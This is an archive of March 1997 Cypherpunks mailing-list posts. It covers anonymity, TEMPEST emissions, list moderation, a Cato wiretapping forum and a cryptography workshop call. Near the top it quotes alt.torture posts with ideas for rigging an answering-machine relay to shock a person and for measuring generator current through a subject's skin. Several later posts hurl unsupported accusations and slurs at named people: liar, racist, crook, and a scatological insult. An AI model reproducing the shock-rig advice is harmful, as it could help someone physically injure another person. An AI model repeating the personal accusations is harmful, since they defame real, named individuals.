will cause Charles Platt to enter a detox program.

> Platt sounds like the ideal candidate to start another disinformation
> periodical.  Any guesses as to who his backers will be?

There are connections between Platt and panix.com and SEA and EFF and C2Net.

Charlie is a very sick pervert who posted the following on Usenet:

]--------------------------------------------------------------------------
]
]Subject:      Re: electricity torture?
]From:         cp at panix.com (Charles Platt)
]Date:         1997/01/31
]Message-Id:   <5crvmh$jhe at panix.com>
]Newsgroups:   alt.torture
]
]I suggest an enhancement to the basic phone-torture scenario. Buy a cheap
]answering machine that picks up on the third or fourth ring. Inside the
]answering machine there is usually a relay that closes when the machine
]picks up. It might be interesting to adapt that relay to supply an
]electric shock to the slave. Thus, the slave gets to sit and listen as the
]phone rings once, twice, a third time ... and of course, sometimes the
]master hangs up BEFORE the fourth ring, just to make life more
]interesting.
]
]It seems to me, true torture has to entail anticipation and uncertainty.
]
]-------------------------------------------------------------------------
]
]Subject:      Re: Orgasm control
]From:         cp at panix.com (Charles Platt)
]Date:         1997/01/05
]Message-Id:   <5ap55i$iit at panix.com>
]Newsgroups:   alt.torture
]
]Dave & Eddie (dave-ed at dircon.co.uk) wrote:
]
]> Has anyone got any experiences, tips or techniques for encouraging and
]> building up to extreme intensity a male's need for orgasm, and then
]> withholding the longed-for and urgently-needed relief of ejaculation -
]> over a very long period of time, and as a torture?
]
]Trouble is, in the long term this tends to result in enlargement of the
]prostate. Of course that can be a torture in itself (urinary problems etc)
]and I'm not saying you shouldn't do it, but at least the victim should be
]aware of these potential long-term penalties.
]
]-----------------------------------------------------------------------
]
]Subject:      Re: Elec. Tort. (I was shocked with 220...)
]From:         cp at panix.com (Charles Platt)
]Date:         1997/02/19
]Message-Id:   <5egkkm$qbq at panix.com>
]Newsgroups:   alt.torture
]
]JBtspflk (jbtspflk at aol.com) wrote:
]> BTW, I always thought that the telephone ringing signal was 20Hz AC, not
]> DC.
]
]You're right, the ring signal is AC. Old phones used a rectifier that
]would pass the AC and ring the bell. When the ringing signal is not
]present, there is a DC potential on the line. This isn't painful but the
]AC ring signal does, er, give you a shock.
]
]This doesn't have much to do with torture, does it? Unless, of course,
]you regard boredom as a form of torture. "Tonight, my dear, I am going to
]tie you down--and read interesting facts about the TELEPHONE SYSTEM!"
]
]----------------------------------------------------------------------
]
]Subject:  Re: Hand Crank Generator
]From:  cp at panix.com (Charles Platt)
]Date:  1997/01/06
]Message-Id:  <5ashd1$k2m at panix.com>
]Newsgroups: alt.torture
]
]Leonard (ixion at dorsai.org) wrote:
]> How will this tell me how to effectively use this device?
]> I'm still looking for practical data.
]> Anybody ever use one of these things?
]
]All I can tell you is I used to fool around with one of these things, as a
]kid, with a friend. As kids, we took turns with one person turning the
]handle while the other took a wire in each hand. As an adult, I would say
]this is definitely not such a great idea. I find it hard to believe,
]however, that you're going to do any harm if the two (dry) conductors
]touch (dry) skin just a few inches apart. As a previous post said, avoid
]running current through major organs (heart, brain, etc!).
]
]A previous post gave various resistance values for skin. If you want to
]know how much current the generator will pass through skin, first obtain a
]potentiometer (variable resistor) that can take a reasonable amount of
]current--1 watt, say. Use a volt/amp/ohm meter to calibrate the
]potentiometer--i.e. mark where the knob points for 1000 ohms, 5000 ohms,
]etc. Now attach one wire from your generator to one side of the
]potentiometer, link the other side of your potentiometer with your
]volt/amp/ohm meter, switch the meter to measure CURRENT (amps), and attach
]the other side of the meter to the other wire of your generator. In other
]words, the generator, potentiometer, and meter form a closed daisy chain.
]Crank the handle at different potentiometer settings and see what readings
]you get from your meter. This will only be an APPROXIMATE guide, and you
]may want to check the skin resistance of your actual test subject too.
]
]Note: all the above advice dates back to stuff I did 25 years ago. I think
]it's accurate (if it's not, someone will probably flame me anyway); but
]as with all forms of consensual torture, it might be a good idea to try it
]on yourself first.
]
]------------------------------------------------------------------------
]





From sergey at el.net  Wed Mar 12 06:31:43 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Wed, 12 Mar 1997 06:31:43 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312121010.1143.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>


On 12 Mar 1997, Pez Dispenser wrote:

-> Sergey Goldgaber wrote:
-> > 
-> > Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
-> > the truth value of what he said.
-> > 
-> > Spreading paranoia is very conducive to security.
-> > 
-> 
-> Think before you write. I suppose paranoia about terrorist threats
-> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
-> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
-> to be paranoid about these things! Let's give up all our rights so the
-> government can protect us!

Obviously, government intervention is not always the best solution.
However, stepping up security is in the cypherpunk spirit.

And save the patronising tone.


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................







From declan at well.com  Wed Mar 12 08:15:59 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 12 Mar 1997 08:15:59 -0800 (PST)
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)
Message-ID: <Pine.GSO.3.95.970312081538.25189G-100000@well.com>




---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 08:15:15 -0800 (PST)
From: Declan McCullagh <declan at well.com>
To: fight-censorship-announce at vorlon.mit.edu
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)

[I find that Cato's forums are always worth attending. --Declan]


---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 10:15:21 -0500 (EST)
From: Solveig Bernstein <sberns at cato.org>
To: Declan McCullagh <declan at well.com>
Subject: a cato forum

Declan, could you post this to fightcensorship or otherwise forward it around?

********************************************************************
This forum will be held at noon on March 24 at the Cato Institute at 1000
Mass. Ave. N.W., Washington, DC.  To register, please call Heather Antilla
at 202.842.3490 or email to hantila at cato.org.

********************************************************************


	Wiretapping in the Digital Age:
	Reassessing CALEA


Barry Steinhardt			Alan McDonald
ACLU						FBI


Jim Dempsey				Albert Gidari
Center for Democracy and Technology	Perkins Coie

CALEA, the "Communications Assistance in Law Enforcement Act," requires
phone companies to retrofit their networks to facilitate wiretapping by law
enforcement.  Are laws like CALEA appropriate for our constitutional
republic, or are the economic costs and dangers to privacy too great?
Should Congress have delegated to the FBI so much power to implement CALEA?
Have the FBI's demands under the statute been reasonable?    





Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001









From dlv at bwalk.dm.com  Wed Mar 12 08:36:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 08:36:26 -0800 (PST)
Subject: Ecash Brain Tennis
In-Reply-To: <3.0.1.32.19970311164810.007b6350@flex.com>
Message-ID: <JJmg4D2w165w@bwalk.dm.com>


>From owner-freedom-knights at kachina.jetcafe.org  Tue Mar 11 21:48:54 1997
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Date: Tue, 11 Mar 1997 16:48:10 -1000
To: freedom-knights at jetcafe.org
From: "Dr. Jai Maharaj" <jai at mantra.com>
Subject: Re: Ecash Brain Tennis
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Reply-To: freedom-knights at jetcafe.org

dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) posted:
>
> From: John Young <jya at pipeline.com>
> [...]
> Decrypt "tragedy of the commons" as "anarchy" for the cleartext
> alarm being transmitted.

One is reminded of:

"When compared with the suppression of anarchy every other
question sinks into insignificance. The anarchist is the enemy of
humanity, the enemy of all mankind, and his is a deeper degree of
criminality than any other. No immigrant is allowed to come to our
shores if he is an anarchist; and no paper published here or abroad
should be permitted circulation in this country if it propagates
anarchist opinions."
  - President Theodore Roosevelt

Jai Maharaj
jai at mantra.com
Om Shanti







From cynthb at sonetis.com  Wed Mar 12 08:43:30 1997
From: cynthb at sonetis.com (Cynthia H. Brown)
Date: Wed, 12 Mar 1997 08:43:30 -0800 (PST)
Subject: TEMPEST protection
In-Reply-To: <33265C33.15BB@gte.net>
Message-ID: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>


<sorry for the earlier finger glitch>

On Tue, 11 Mar 1997, Dale Thorn wrote:

> Actually, the computer you type on will be very easy to pick out
> of the noise field with modest spy equipment sitting down the street.
> 
> There's a company (I lost the brochure) who sell EM attenuator
> material, some preconfigured, and presumably some bulk.  It should
> be easy to find on the Web.  Once you get some really dramatic
> attenuation, particularly of the keyboard (and particularly during
> password confirmations, etc.), you should do your own preliminary
> monitoring with some of those band-sweep gadgets.  Steady noise
> of course is nothing compared to the spikes from some of the keyboard
> outputs...
> 
> Once you've identified all (we can hope, can't we) of the problem
> signals still leaking through the shielding (albeit at greatly
> reduced levels), you can direct different kinds of efforts there,
> including random noise from other computers which use the exact
> same output devices.

>From what I've seen, it's a lot easier for "the bad guys" to concentrate 
on monitor emissions - you can read the screen someone's looking at, and 
not just the key-clicks.  Won't get you blanked-out passwords, though.  
Much of the monitor's emissions may be out the back.

Other places to look for emissions: the power supply, and the connection 
points for peripherals.  Make sure you leave adequate ventilation, though 
(another tricky part).

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb at iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From nobody at huge.cajones.com  Wed Mar 12 11:30:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Mar 1997 11:30:05 -0800 (PST)
Subject: [CRYPTO] OTP
Message-ID: <199703121930.LAA06892@mailmasher.com>


Timmy C. May carries a turd in his wallet for identification 
purposes.

    _ _/|
   \'o.0'
   =(___)= Timmy C. May
      U






From markm at voicenet.com  Wed Mar 12 13:41:05 1997
From: markm at voicenet.com (Mark M.)
Date: Wed, 12 Mar 1997 13:41:05 -0800 (PST)
Subject: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>
Message-ID: <Pine.LNX.3.95.970312163732.881A-100000@purple.voicenet.com>


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 12 Mar 1997, Sergey Goldgaber wrote:

> On 12 Mar 1997, Pez Dispenser wrote:
> 
> -> Think before you write. I suppose paranoia about terrorist threats
> -> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
> -> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
> -> to be paranoid about these things! Let's give up all our rights so the
> -> government can protect us!
> 
> Obviously, government intervention is not always the best solution.
> However, stepping up security is in the cypherpunk spirit.

Indeed.  There seems to be a frequent misconception that security == government
intrustion.  Security provides solutions that can be voluntarily accepted or
rejected and which exist to specifically thwart attacks on a system.
Government intrustion provides solutions that benefit government agencies and
not non-LEA types.  Comparing the constant releases of security advisories and
patches to knee-jerk legislation just doesn't work.  As for the point about
"evil criminals with big guns", the libertarian/cypherpunk solution to such a
problem would be to carry a bigger gun and not prohibit the ownership of guns.

> 
> And save the patronising tone.
> 
> 
>  ............................................................................
>  . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
>  ............................................................................
>  .   To him who does not know the world is on fire, I have nothing to say   .
>  .                                                      - Bertholt Brecht   .
>  ............................................................................
> 
> 
> 


Mark
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From rah at shipwright.com  Wed Mar 12 13:49:05 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 12 Mar 1997 13:49:05 -0800 (PST)
Subject: DIMACS Workshop on Cryptographic Protocol Design andVerification, Sept. 3-5, 1997
Message-ID: <v03020943af4cd44ecc0a@[139.167.130.247]>



--- begin forwarded text


Date: Wed, 12 Mar 1997 14:11:04 -0500
From: ho at earth.hpc.org (Hilarie Orman)
To: ipsec at tis.com
Subject: DIMACS Workshop on Cryptographic Protocol Design and Verification,
Sept. 3-5, 1997
Sender: owner-ipsec at ex.tis.com
Precedence: bulk

Here's a more complete announcement for the workshop.

Hilarie

=============================================================================

DIMACS Workshop on Formal Verification of Security Protocols
Sept. 3-5, 1997
Organizers:  Hilarie Orman, DARPA and Catherine Meadows, Naval Research
Laboratory


As we come to rely more and more upon computer networks to perform vital
functions, the need for cryptographic protocols that can enforce
a variety of security properties has become more and more important.
Thus it is no surprise that in recent years a number of new
protocols have been proposed for such applications as electronic
credit card transactions, Web browsing, and so forth.
Since it is notoriously difficult to design cryptographic protocols
correctly, this increased reliance on them to provide security has
become cause for some concern.  This is especially the case since
many of the new protocols are extremely complex.

In answer to these needs, research has been intensifying in the application
of formal methods to cryptographic protocol verification.  Recently
this work has matured enough so that it is starting to see application
to real-life protocols.  The goal of this workshop is to facilitate
this process by bringing together those were are involved in the design
and standardization of cryptographic protocols, and those who are developing
and using formal methods techniques for the verification of such protocols.
To this end we plan to alternate papers with panels soliciting new
paths for research.  We are particularly interested in paper
and panel proposals addressing new protocols with respect to their
formal and informal analysis.


Other topics of interest include, but are not limited to

- Progress in belief logics
- Use of theorem provers and model checkers in verifying crypto protocols
- Interaction between protocols and cryptographic modes of operation
- Methods for unifying documentation and formal, verifiable specification
- Methods for incorporating formal methods into crypto protocol design
- Verification of cryptographic API systems
- Formal definition of correctness of a cryptographic protocol
- Arithmetic capability required for proofs of security for
     number theoretic systems
- Formal definitions of cryptographic protocol requirements
- Design methodologies
- Emerging needs and new uses for cryptographic protocols
- Multiparty protocols, in particular design and verification methods


We encourage attendees to bring tools for demonstration.  Information
about availability of facilities for demonstration will be posted later.

To submit a paper to the workshop, submit a one or two page abstract,
in Postscript or ASCII to both organizers at the email addresses given below
by June 16, 1997.  Authors will be notified of acceptance or rejection of
abstracts by July 1.  Full papers will be due by August 1.
Copies of papers will be distributed at the workshop.  We also plan
to publish a proceedings.

Participation in the workshop is *not* limited to those giving presentations.

If you would like to attend the workshop, a registration form is available
at  http://dimacs.rutgers.edu/Workshops/Cryptographic/reg_form.html.
Information on accommodations and travel arrangements is available at
http://dimacs.rutgers.edu/Workshops/general/accommodations.html and
http://dimacs.rutgers.edu/Workshops/general/travel.html.
Information on the workshop in general is at
http://dimacs.rutgers.edu/Workshops/Cryptographic.

			Organizers

Hilarie Orman				Catherine Meadows
DARPA ITO				Naval Research Laboratory
3701 N. Fairfax Drive			Code 5543
Arlington VA 22203-1714			Washington, DC 20375
phone: (703)696-2234			phone: (202)-767-3490
email: horman at darpa.mil			email:meadows at itd.nrl.navy.mil



--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From dlv at bwalk.dm.com  Wed Mar 12 14:10:49 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 14:10:49 -0800 (PST)
Subject: Mail Volume??
In-Reply-To: <Pine.BSD/.3.91.970312093203.21862B-100000@mrburns.iosphere.net>
Message-ID: <uTyg4D1w165w@bwalk.dm.com>


"Cynthia H. Brown" <cynthb at sonetis.com> writes:
> Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> accounts on dead systems.  With fewer names to process, this should speed
> up the distribution significantly.

FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
supporters of moderation were another one of John Gilmore's lies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From ichudov at algebra.com  Wed Mar 12 14:39:17 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 14:39:17 -0800 (PST)
Subject: Mail Volume??
In-Reply-To: <uTyg4D1w165w@bwalk.dm.com>
Message-ID: <199703122235.QAA06717@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> 
> "Cynthia H. Brown" <cynthb at sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.

I once, as a prank, sent mail to cypherpunks-outgoing-ksiuw at toad.com.
Since cypherpunks-outgoing-ksiuw is a simple sendmail alias, all bounces
went directly to me as my name was listed in the "From " field.

I got about a hundred or so bounces, some of which were results of
intermittent problems like full mailboxes, etc. (the actual number could
be 90% likely between 50 and 150 as I was not really counting).

	- Igor.





From trevorg at dhp.com  Wed Mar 12 15:02:37 1997
From: trevorg at dhp.com (Trevor Goodchild)
Date: Wed, 12 Mar 1997 15:02:37 -0800 (PST)
Subject: Mail Volume
Message-ID: <Pine.LNX.3.95.970312175743.16895A-100000@dhp.com>


Vulis KOTM wrote:
 
> "Cynthia H. Brown" <cynthb at sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or 
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.
>    
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
>

And on that rare occasion, my dear Doctor, why did you email those 1400
addresses directly?  Perhaps you would like to share that with the rest of
us?



---
 Trevor Goodchild






From real at freenet.edmonton.ab.ca  Wed Mar 12 16:29:32 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 12 Mar 1997 16:29:32 -0800 (PST)
Subject: [CRYPTO] OTP
In-Reply-To: <199703121930.LAA06892@mailmasher.com>
Message-ID: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>



Vulis time to take your pills.

On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:

> Timmy C. May carries a turd in his wallet for identification 
> purposes.
> 
>     _ _/|
>    \'o.0'
>    =(___)= Timmy C. May
>       U
> 






From dlv at bwalk.dm.com  Wed Mar 12 19:12:43 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 19:12:43 -0800 (PST)
Subject: Roosevelt quote
In-Reply-To: <3.0.1.32.19970312143200.007b6570@flex.com>
Message-ID: <JFHH4D5w165w@bwalk.dm.com>


"Dr. Jai Maharaj" <jai at mantra.com> writes:

> On 97-03-12 18:09:16 EST,
> in message <Pine.SUN.3.91.970312154111.18828B-100000 at panix.com>,
> cp at panix.com (Charles Platt) wrote to me:
> >
> > Assuming you are a real person, and assuming it was you who found the
> > quote below from Roosevelt, I would love to know the source of the
> > quote, because it is such a chilling indictment of a widely loved
> > (i.e. misunderstood!) politician. I would like to include the quote
> > in one of my future articles for Wired magazine or Internet > Underground.
> >
> > I'm not entirely sure that your address is genuine because it was
> > quoted in a message from Dimitri Vulis, who is not entirely reliable.
> >
> > --CP
> >
> >> "When compared with the suppression of anarchy every other
> >> question sinks into insignificance. The anarchist is the enemy of
> >> humanity, the enemy of all mankind, and his is a deeper degree of
> >> criminality than any other. No immigrant is allowed to come to our
> >> shores if he is an anarchist; and no paper published here or abroad
> >> should be permitted circulation in this country if it propagates
> >> anarchist opinions."
> >>  - President Theodore Roosevelt
> >>
> >> Jai Maharaj
> >> jai at mantra.com
> >> Om Shanti
>
>    Okay, I will help you in your research this time because even
> though you approach me with baseless suspicion about myself and the
> defamation of Dr. Dimitri Vulis whom I have found to be a very reliable
> source of information, for you do appear to exhibit a genuine
> concern about the quote attributed to Theodore Roosevelt.
>    I believe that I read the quote most recently on a page at
> a site called "Anarchy for Anybody".  The page has the address:
>    http://pubweb.acns.nwu.edu:80/~dtn307/species.html
>    I will be interested in reading what you decide to write on the subject,
> and am mildly curious about what sort of articles have already been
> published by one who begins a project with not much more than personal
> prejudice.

You can find a lot of Charles Platt's drivel on alt.torture, where he
airs his perverse sexual fantasies. He's also earned a reputation of
a crook on sci.cryonics.

Be warned that Platt is a pathological liar and a racist.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From an7575 at anon.nymserver.com  Wed Mar 12 19:30:58 1997
From: an7575 at anon.nymserver.com (TruthMonger)
Date: Wed, 12 Mar 1997 19:30:58 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703130330.UAA27994@shaman.lycaeum.org>



Alan Olsen wrote:> > 
> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
> > > an7575 at anon.nymserver.com writes:
> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
> >> because they use both the algorithm and sub-routines developed by the
> >> NSA and the Military.

> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
> >blowing FUD.

> > I always wonder where these people get their information.  I know people who
> know little to nothing about cryptography, but "they know PGP has been
> broken".

  I always wonder why there seem to be so many lame fucks on
the cypherpunks list who, rather than responding to the posts
on the list, seem to be responding to some broken recording
going on in their own head.
  Naturally, these lame fucks never have a direct quote available
to match the words inside their heads that they purport to place
in the mouths of others.

  Why don't 'these people' try actually following a thread and
deal with the concepts involved, rather than spouting off their
auto-bot, knee-jerk responses to the voices of old wars that
they are still fighting inside their heads?

TruthMonger







From ichudov at algebra.com  Wed Mar 12 19:51:25 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 19:51:25 -0800 (PST)
Subject: [CRYPTO] OTP
In-Reply-To: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <199703130340.VAA08675@manifold.algebra.com>


Graham-John Bullers wrote:
> 
> Vulis time to take your pills.

I am not a native English speaker, and am curious about something.  Mr.
GB does not put a comma after "Vulis", although I think that a standard
English practice is to do so. That makes his messages look kinda cute. I
wonder whether there is any hidden meaning in omitting commas in this
case.

thanks

igor



> On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:
> 
> > Timmy C. May carries a turd in his wallet for identification 
> > purposes.
> > 
> >     _ _/|
> >    \'o.0'
> >    =(___)= Timmy C. May
> >       U
> > 
> 



	- Igor.





From announce at lists.zdnet.com  Wed Mar 12 20:13:44 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Wed, 12 Mar 1997 20:13:44 -0800 (PST)
Subject: ZDNet Announces New Features!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.19735.03121997200007.166829@tahiti.merc.com>


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From dthorn at gte.net  Wed Mar 12 21:17:21 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 12 Mar 1997 21:17:21 -0800 (PST)
Subject: TEMPEST protection
In-Reply-To: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>
Message-ID: <33278DC0.60D4@gte.net>


Cynthia H. Brown wrote:
> On Tue, 11 Mar 1997, Dale Thorn wrote:
> > Actually, the computer you type on will be very easy to pick out
> > of the noise field with modest spy equipment sitting down the street.

> Other places to look for emissions: the power supply, and the connection
> points for peripherals.  Make sure you leave adequate ventilation, though
> (another tricky part).

Funny thing was, first time I used PGP I was typing in a passphrase
and apparently PGP was doing something to the keyboard processor
on my laptop, because all of a sudden I thought I'd gotten bat's
ears - I could hear interesting new noises every time I pressed a
key, which I hadn't heard before (at least at an audible volume).

It occurred to me that typing in a PGP passphrase would be a
particularly bad time to increase the emissions....






From toto at sk.sympatico.ca  Wed Mar 12 21:39:30 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 12 Mar 1997 21:39:30 -0800 (PST)
Subject: Toto Opportunity
Message-ID: <332792DE.7737@sk.sympatico.ca>


Hello CYPHERPUNK,
  Let me share with you how you can get in on a THRILLING, NEW
GROUND-BREAKING OPPORTUNITY to "MAKE BIG $$$", while helping to
dispel the rumors of me, TOTO, being murdered and replaced by a 
'Bot', in a conspiracy between MicroSoft and C2Net.

  Sure, CPUNK, there are countless other MLM opportunities abounding
on the InterNet, but how many of them allow you to MAKE BIG $$$ while
having fun doing what you already do every day--acting as a schill
for Big Business and Big Brother?
  Plus which, only this UNIQUE MARKETING OPPORTUNITY allows you to
participate in helping to quash those nasty rumors about collusion
between people who seek fame, fortune, power and control.

  Sure, there will always be those who will be cynical about me, TOTO,
seeing the light and recognizing that there is no conspiracy aimed at
subverting the rights and freedoms of the citizens in order to enrich
and empower the few at the top of the foodchain.
  But these 'unwashed masses' are merely mindless schills for those
who support outdated concepts such as the Constitution and the Bill
of Rights. They will continue to mindlessly shout 'Conspiracy!', every
time that those who support list censorship in the U.S. meet on foreign
soil in the Caribbean to decide the future of eCa$h and cryptography.
  Of course, they are going to miss out on the "BIG $$$" that can be
yours by supporting this UNIQUE OPPORTUNITY to dispel the rumors about 
Big Business and Big Brother murdering their enemies and replacing 
them by 'Bots'.

  Still skeptical?
  Listen to what me, TOTO, has to say:

  "Hi, my name is TOTO, and the rumors that I, TOTO, am a 'Bot', and
have replaced the 'real' Toto, are just silly rumors, 'a'?
  "See, look how I, TOTO, spell CypherPunks. Could a mindless machine
spell it just like Toto did (I mean...'does'.) Of course not, that's
just plain silly, isn't it, 'a'? (<--- And a 'Bot' could not possibly
insert unique Canadian euphenisms into the text, could I? {I mean...
could 'it'?})
  "I have thrown my support completely behind this MLM opportunity to
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is--it does not seem to be in my program, but the words are in my
database--ERROR! ERROR! ERROR!...
<CTRL><C>

  Hear what others have to say about this unique MLM opportunity:

  "Hi, I'm BLANC WEBER, and I was _not_ on the grassy knoll when Toto
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  "Not that he _was_ shot! That's just a lie that DIMITRI and DALE are
spreading, but not for long, because they will be next...
  "I mean..I am sure that DIMITRI and DALE will soon see the error of
their ways, much like TOTO (who _was_not_ murdered and replaced by a
'Bot').
  "I'm making a mess of this. I'd better wait until I talk to BILLY G.
before I say more."

  "Hi, I'm ROBERT HETTINGA, and I was already making "BIG $$$" by
arranging eCa$h cryptography conferences for U.S. censorship supporters
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  "Now I'm making even bigger money, and crushing the enemies of Big
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  "Join this UNIQUE MLM OPPORTUNITY, NOW!!!" 

  "Hi, my name is being SAMMY, and I am not having nothing to do with 
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  "No, no, I am not, I tell you. I am only being another SATISFIED
CUSTOMER of these people who are doing this thing.
  "It is not being a conspiracy, of which I am a part. No, no!"

  "Hi, I'm BILLY G., and I would like to assure you that TOTO is not
a NEW, IMPROVED VERSION of Toto, with ENHANCED FEATURES.
  "No, TOTO is merely a 'bug fix' of the previously faulty version of 
Toto, which was released without proper testing and development."

  "Hi, I'm GREG BROILES, and I feel it is my duty to advise you that
failure to support this UNIQUE MLM OPPORTUNITY could leave you open
to serious legal liabilities, and perhaps even criminal prosecution.
  "I am happy to see that my previous stances on cryptography issues
are now being supported by TOTO (after some initial problems with 
memory allocation in this 'bug fixed' release)."

  If you ACT NOW on this AMAZING OPPORTUNITY, you will receive an ADDED
BONUS if you also help thwart the rumor that ALEC was not really on a 
skiing vacation, but was also murdered and that his absence can
be explained by the fact that the parts for the 'Alec Bot' were on
backorder.

  For further information regarding this UNIQUE MLM OPPORTUNITY, just
click on the following URL:
   http://bureau42.base.org/public/xenix/xenbody.html

TOTO 
"I am not a 'Bot'!"






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From dthorn at gte.net  Wed Mar 12 23:00:34 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 12 Mar 1997 23:00:34 -0800 (PST)
Subject: [CRYPTO] OTP
In-Reply-To: <199703130340.VAA08675@manifold.algebra.com>
Message-ID: <3327A11F.16D4@gte.net>


Igor Chudov @ home wrote:
> Graham-John Bullers wrote:
> > Vulis time to take your pills.

> I am not a native English speaker, and am curious about something.  Mr.
> GB does not put a comma after "Vulis", although I think that a standard
> English practice is to do so. That makes his messages look kinda cute. I
> wonder whether there is any hidden meaning in omitting commas in this case.

It was obvious to me (a native speaker) early on that the messages
from GB referring to Dr. Vulis were auto-generated.  It's fairly
easy for a human to type in the exact same response over and over
(doing so manually), but to vary the hand-typed messages, while main-
taining the complete lack of emotion and sense of robotic blandness,
would require a great deal of attention that these messages would
not justify.






From aga at dhp.com  Thu Mar 13 00:51:59 1997
From: aga at dhp.com (aga)
Date: Thu, 13 Mar 1997 00:51:59 -0800 (PST)
Subject: Charles Platt
In-Reply-To: <JFHH4D5w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970313034945.631A-100000@dhp.com>


On Wed, 12 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 12 Mar 97 21:43:42 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv at bwalk.dm.com>
> Reply-To: freedom-knights at jetcafe.org
> To: cypherpunks at toad.com, freedom-knights at jetcafe.org
> Subject: Re: Roosevelt quote
> 
> You can find a lot of Charles Platt's drivel on alt.torture, where he
> airs his perverse sexual fantasies. He's also earned a reputation of
> a crook on sci.cryonics.
> 
> Be warned that Platt is a pathological liar and a racist.
> 

Is he on the net.scum web-page?

And is that cocksucker John Gilmore still around?

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From ichudov at algebra.com  Thu Mar 13 04:07:35 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 04:07:35 -0800 (PST)
Subject: [CRYPTO] OTP
In-Reply-To: <3327A11F.16D4@gte.net>
Message-ID: <199703131139.FAA11708@manifold.algebra.com>


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Graham-John Bullers wrote:
